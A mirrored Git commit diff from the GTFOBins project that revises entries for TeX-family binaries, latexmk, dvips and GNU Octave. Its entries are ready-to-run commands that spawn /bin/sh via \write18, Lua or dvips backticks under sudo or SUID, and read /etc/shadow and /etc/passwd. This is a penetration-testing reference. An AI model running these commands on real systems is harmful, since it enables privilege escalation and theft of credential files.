mirror of
https://github.com/GTFOBins/GTFOBins.github.io.git
synced 2024-09-07 20:50:38 +02:00
Fix and improve TeX binaries and GNU Octave
This commit is contained in:
parent
806c8054eb
commit
21b641911e
@ -1,8 +1,16 @@
|
||||
---
|
||||
description: The `texput.dvi` output file produced by `tex` can be created offline and uploaded to the target.
|
||||
functions:
|
||||
shell:
|
||||
- code: |
|
||||
tex '\special{psfile="`/bin/sh 1>&0"}\end'
|
||||
dvips -R0 texput.dvi
|
||||
sudo:
|
||||
- code: |
|
||||
echo "\documentclass[12pt]{article} \begin{document}" > file.tex
|
||||
echo '$$\hbox to5cm{\vbox to5cm{\vfil\special{psfile="`PROGRAM > /tmp/result"}}\hfill}$$' >> file.tex
|
||||
echo "\end{document}" >> file.tex
|
||||
tex -interaction=nonstopmode file.tex && sudo dvips -R0 file.dvi
|
||||
cat /tmp/result
|
||||
tex '\special{psfile="`/bin/sh 1>&0"}\end'
|
||||
sudo dvips -R0 texput.dvi
|
||||
limited-suid:
|
||||
- code: |
|
||||
tex '\special{psfile="`/bin/sh 1>&0"}\end'
|
||||
./dvips -R0 texput.dvi
|
||||
---
|
||||
|
@ -1,11 +1,21 @@
|
||||
description: `latex` is a symbolic link to [`pdftex`](/gtfobins/pdftex/). However the program does not have the same behaviour regarding the name of argv[0]. This is the same behaviour for [`xetex`](/gtfobins/xetex/)/[`xelatex`](/gtfobins/xelatex/).
|
||||
---
|
||||
functions:
|
||||
shell:
|
||||
- code: |
|
||||
latex --shell-escape '\documentclass{article}\begin{document}\immediate\write18{/bin/sh}\end{document}'
|
||||
file-read:
|
||||
- code: |
|
||||
echo "\documentclass[12pt]{article} \usepackage{verbatim} \begin{document} \verbatiminput{/etc/shadow} \end{document}" > read.tex
|
||||
latex read.tex
|
||||
strings read.dvi
|
||||
- description: The read file will be part of the output.
|
||||
code: |
|
||||
latex '\documentclass{article}\usepackage{verbatim}\begin{document}\verbatiminput{file_to_read}\end{document}'
|
||||
strings article.dvi
|
||||
sudo:
|
||||
- description: The read file will be part of the output.
|
||||
code: |
|
||||
sudo latex '\documentclass{article}\usepackage{verbatim}\begin{document}\verbatiminput{file_to_read}\end{document}'
|
||||
strings article.dvi
|
||||
- code: |
|
||||
echo "\documentclass[12pt]{article} \begin{document} \immediate\write18{/usr/bin/whoami} \end{document}" > file.tex
|
||||
sudo latex -shell-escape file.tex
|
||||
sudo latex --shell-escape '\documentclass{article}\begin{document}\immediate\write18{/bin/sh}\end{document}'
|
||||
limited-suid:
|
||||
- code: |
|
||||
./latex --shell-escape '\documentclass{article}\begin{document}\immediate\write18{/bin/sh}\end{document}'
|
||||
---
|
||||
|
@ -1,11 +1,14 @@
|
||||
description: `latexmk` is a perl script.
|
||||
description: This allows to execute [`perl`](/gtfobins/perl/) code.
|
||||
functions:
|
||||
shell:
|
||||
- code: latexmk -e 'exec "/bin/sh";'
|
||||
- code: latexmk -latex='/bin/sh #' /dev/null
|
||||
file-read:
|
||||
- code: |
|
||||
echo "\documentclass[12pt]{article} \usepackage{verbatim} \begin{document} \verbatiminput{/etc/shadow} \end{document}" > read.tex
|
||||
latexmk read.tex
|
||||
strings read.dvi
|
||||
- code: latexmk -e 'open(X,"/etc/passwd");while(<X>){print $_;}exit'
|
||||
- description: The read file will be part of the output.
|
||||
code: |
|
||||
TF=$(mktemp)
|
||||
echo '\documentclass{article}\usepackage{verbatim}\begin{document}\verbatiminput{file_to_read}\end{document}' >$TF
|
||||
strings tmp.dvi
|
||||
sudo:
|
||||
- code: |
|
||||
echo "PROGRAM > /tmp/result.txt" > /tmp/run.sh
|
||||
sudo latexmk -latex="/tmp/run.sh" file.tex
|
||||
- code: sudo latexmk -e 'exec "/bin/sh";'
|
||||
|
@ -1,6 +1,10 @@
|
||||
description: `lualatex` is a symbolic link to [`luatex`](/gtfobins/luatex/). However the program does not have the same behaviour regarding the name of argv[0]. It allows to call external command with \write18 but it also allows to call external [`lua`](/gtfobins/lua/) scripts.
|
||||
---
|
||||
description: This allows to execute [`lua`](/gtfobins/lua/) code.
|
||||
functions:
|
||||
shell:
|
||||
- code: lualatex -shell-escape '\documentclass{article}\begin{document}\directlua{os.execute("/bin/sh")}\end{document}'
|
||||
sudo:
|
||||
- code: |
|
||||
echo "\documentclass[12pt]{article} \usepackage{shellesc} \begin{document} \write18{/usr/bin/id} \end{document}" > file.tex
|
||||
sudo lualatex -shell-escape file.tex
|
||||
- code: sudo lualatex -shell-escape '\documentclass{article}\begin{document}\directlua{os.execute("/bin/sh")}\end{document}'
|
||||
limited-suid:
|
||||
- code: ./lualatex -shell-escape '\documentclass{article}\begin{document}\directlua{os.execute("/bin/sh")}\end{document}'
|
||||
---
|
||||
|
@ -1,7 +1,10 @@
|
||||
description: `luatex` allows to call external [`lua`](/gtfobins/lua/) scripts.
|
||||
---
|
||||
description: This allows to execute [`lua`](/gtfobins/lua/) code.
|
||||
functions:
|
||||
shell:
|
||||
- code: luatex -shell-escape '\directlua{os.execute("/bin/sh")}\end'
|
||||
sudo:
|
||||
- code: |
|
||||
echo '\documentclass{article} \usepackage{luacode} \begin{document} \def\foo{\directlua{dofile("runfunc.lua")}} \foo \end{document}' > file.tex
|
||||
echo 'os.execute("/usr/bin/id")' > runfunc.lua
|
||||
luatex --interaction=nonstopmode --shell-escape file.tex
|
||||
- code: sudo luatex -shell-escape '\directlua{os.execute("/bin/sh")}\end'
|
||||
limited-suid:
|
||||
- code: ./luatex -shell-escape '\directlua{os.execute("/bin/sh")}\end'
|
||||
---
|
||||
|
@ -1,10 +1,14 @@
|
||||
---
|
||||
description: The payloads are compatible with GUI.
|
||||
functions:
|
||||
shell:
|
||||
- code: octave-cli --eval "system('/bin/sh')"
|
||||
- code: octave-cli --eval 'system("/bin/sh")'
|
||||
file-write:
|
||||
- code: poctave-cli --eval 'filename = "file_to_write"; fid = fopen (filename, "w"); fputs (fid, "DATA"); fclose (fid);'
|
||||
- code: octave-cli --eval 'filename = "file_to_write"; fid = fopen(filename, "w"); fputs(fid, "DATA"); fclose(fid);'
|
||||
file-read:
|
||||
- code: octave-cli --eval 'fid = fopen ("/etc/passwd"); while(!feof(fid)); txt = fgetl(fid), txt; endwhile; fclose (fid);'
|
||||
- code: octave-cli --eval 'format none; fid = fopen("file_to_read"); while(!feof(fid)); txt = fgetl(fid); disp(txt); endwhile; fclose(fid);'
|
||||
sudo:
|
||||
- code: sudo octave-cli --eval "system('/bin/sh')"
|
||||
- code: sudo octave-cli --eval 'system("/bin/sh")'
|
||||
limited-suid:
|
||||
- code: ./octave-cli --eval 'system("/bin/sh")'
|
||||
---
|
||||
|
@ -1,11 +1,21 @@
|
||||
description: `pdflatex` is a symbolic link to [`pdftex`](/gtfobins/pdftex/). However the program does not have the same behaviour regarding the name of argv[0]. This is the same behaviour for [`xetex`](/gtfobins/xetex/)/[`xelatex`](/gtfobins/xelatex/).
|
||||
---
|
||||
functions:
|
||||
shell:
|
||||
- code: |
|
||||
pdflatex --shell-escape '\documentclass{article}\begin{document}\immediate\write18{/bin/sh}\end{document}'
|
||||
file-read:
|
||||
- code: |
|
||||
echo "\documentclass[12pt]{article} \usepackage{verbatim} \hfuzz=25.002pt \begin{document} \verbatiminput{/etc/shadow} \end{document}" > read.tex
|
||||
latex read.tex
|
||||
#/etc/shadow is in read.pdf
|
||||
- description: The read file will be part of the output.
|
||||
code: |
|
||||
pdflatex '\documentclass{article}\usepackage{verbatim}\begin{document}\verbatiminput{file_to_read}\end{document}'
|
||||
pdftotext article.pdf -
|
||||
sudo:
|
||||
- description: The read file will be part of the output.
|
||||
code: |
|
||||
sudo pdflatex '\documentclass{article}\usepackage{verbatim}\begin{document}\verbatiminput{file_to_read}\end{document}'
|
||||
pdftotext article.pdf -
|
||||
- code: |
|
||||
echo "\documentclass[12pt]{article} \begin{document} \immediate\write18{/usr/bin/whoami} \end{document}" > file.tex
|
||||
sudo pdflatex -shell-escape file.tex
|
||||
sudo pdflatex --shell-escape '\documentclass{article}\begin{document}\immediate\write18{/bin/sh}\end{document}'
|
||||
limited-suid:
|
||||
- code: |
|
||||
./pdflatex --shell-escape '\documentclass{article}\begin{document}\immediate\write18{/bin/sh}\end{document}'
|
||||
---
|
||||
|
@ -1,6 +1,12 @@
|
||||
description: `pdftex` has a similar behaviour as [`tex`](/gtfobins/tex/)
|
||||
---
|
||||
functions:
|
||||
shell:
|
||||
- code: |
|
||||
pdftex --shell-escape '\write18{/bin/sh}\end'
|
||||
sudo:
|
||||
- code: |
|
||||
echo "\documentclass[12pt]{article} \begin{document} \write18{/usr/bin/id} \end{document}" > file.tex
|
||||
pdftex -interaction=nonstopmode --shell-escape file.tex
|
||||
sudo pdftex --shell-escape '\write18{/bin/sh}\end'
|
||||
limited-suid:
|
||||
- code: |
|
||||
./pdftex --shell-escape '\write18{/bin/sh}\end'
|
||||
---
|
||||
|
@ -1,6 +1,12 @@
|
||||
description: `tex` has a similar behaviour as [`pdftex`](/gtfobins/pdftex/)
|
||||
---
|
||||
functions:
|
||||
shell:
|
||||
- code: |
|
||||
tex --shell-escape '\write18{/bin/sh}\end'
|
||||
sudo:
|
||||
- code: |
|
||||
echo "\documentclass[12pt]{article} \begin{document} \write18{/usr/bin/id} \end{document}" > file.tex
|
||||
tex -interaction=nonstopmode --shell-escape file.tex
|
||||
sudo tex --shell-escape '\write18{/bin/sh}\end'
|
||||
limited-suid:
|
||||
- code: |
|
||||
./tex --shell-escape '\write18{/bin/sh}\end'
|
||||
---
|
||||
|
@ -1,11 +1,21 @@
|
||||
description: `xelatex` is a symbolic link to [`xetex`](/gtfobins/xetex/). However the program does not have the same behaviour regarding the name of argv[0].
|
||||
---
|
||||
functions:
|
||||
shell:
|
||||
- code: |
|
||||
xelatex --shell-escape '\documentclass{article}\begin{document}\immediate\write18{/bin/sh}\end{document}'
|
||||
file-read:
|
||||
- code: |
|
||||
echo "\documentclass[12pt]{article} \usepackage{verbatim} \begin{document} \verbatiminput{/etc/shadow} \end{document}" > read.tex
|
||||
latexmk read.tex
|
||||
#/etc/shadow is in read.pdf
|
||||
- description: The read file will be part of the output.
|
||||
code: |
|
||||
xelatex '\documentclass{article}\usepackage{verbatim}\begin{document}\verbatiminput{file_to_read}\end{document}'
|
||||
strings article.dvi
|
||||
sudo:
|
||||
- description: The read file will be part of the output.
|
||||
code: |
|
||||
sudo xelatex '\documentclass{article}\usepackage{verbatim}\begin{document}\verbatiminput{file_to_read}\end{document}'
|
||||
strings article.dvi
|
||||
- code: |
|
||||
echo "\documentclass[12pt]{article} \begin{document} \immediate\write18{/usr/bin/whoami} \end{document}" > file.tex
|
||||
sudo xelatex -shell-escape file.tex
|
||||
sudo xelatex --shell-escape '\documentclass{article}\begin{document}\immediate\write18{/bin/sh}\end{document}'
|
||||
limited-suid:
|
||||
- code: |
|
||||
./xelatex --shell-escape '\documentclass{article}\begin{document}\immediate\write18{/bin/sh}\end{document}'
|
||||
---
|
||||
|
@ -1,5 +1,12 @@
|
||||
---
|
||||
functions:
|
||||
shell:
|
||||
- code: |
|
||||
xetex --shell-escape '\write18{/bin/sh}\end'
|
||||
sudo:
|
||||
- code: |
|
||||
echo "\documentclass[12pt]{article} \begin{document} \immediate\write18{/usr/bin/whoami} \end{document}" > file.tex
|
||||
sudo xetex -interaction=nonstopmode -shell-escape file.tex
|
||||
sudo xetex --shell-escape '\write18{/bin/sh}\end'
|
||||
limited-suid:
|
||||
- code: |
|
||||
./xetex --shell-escape '\write18{/bin/sh}\end'
|
||||
---
|
||||
|
Loading…
Reference in New Issue
Block a user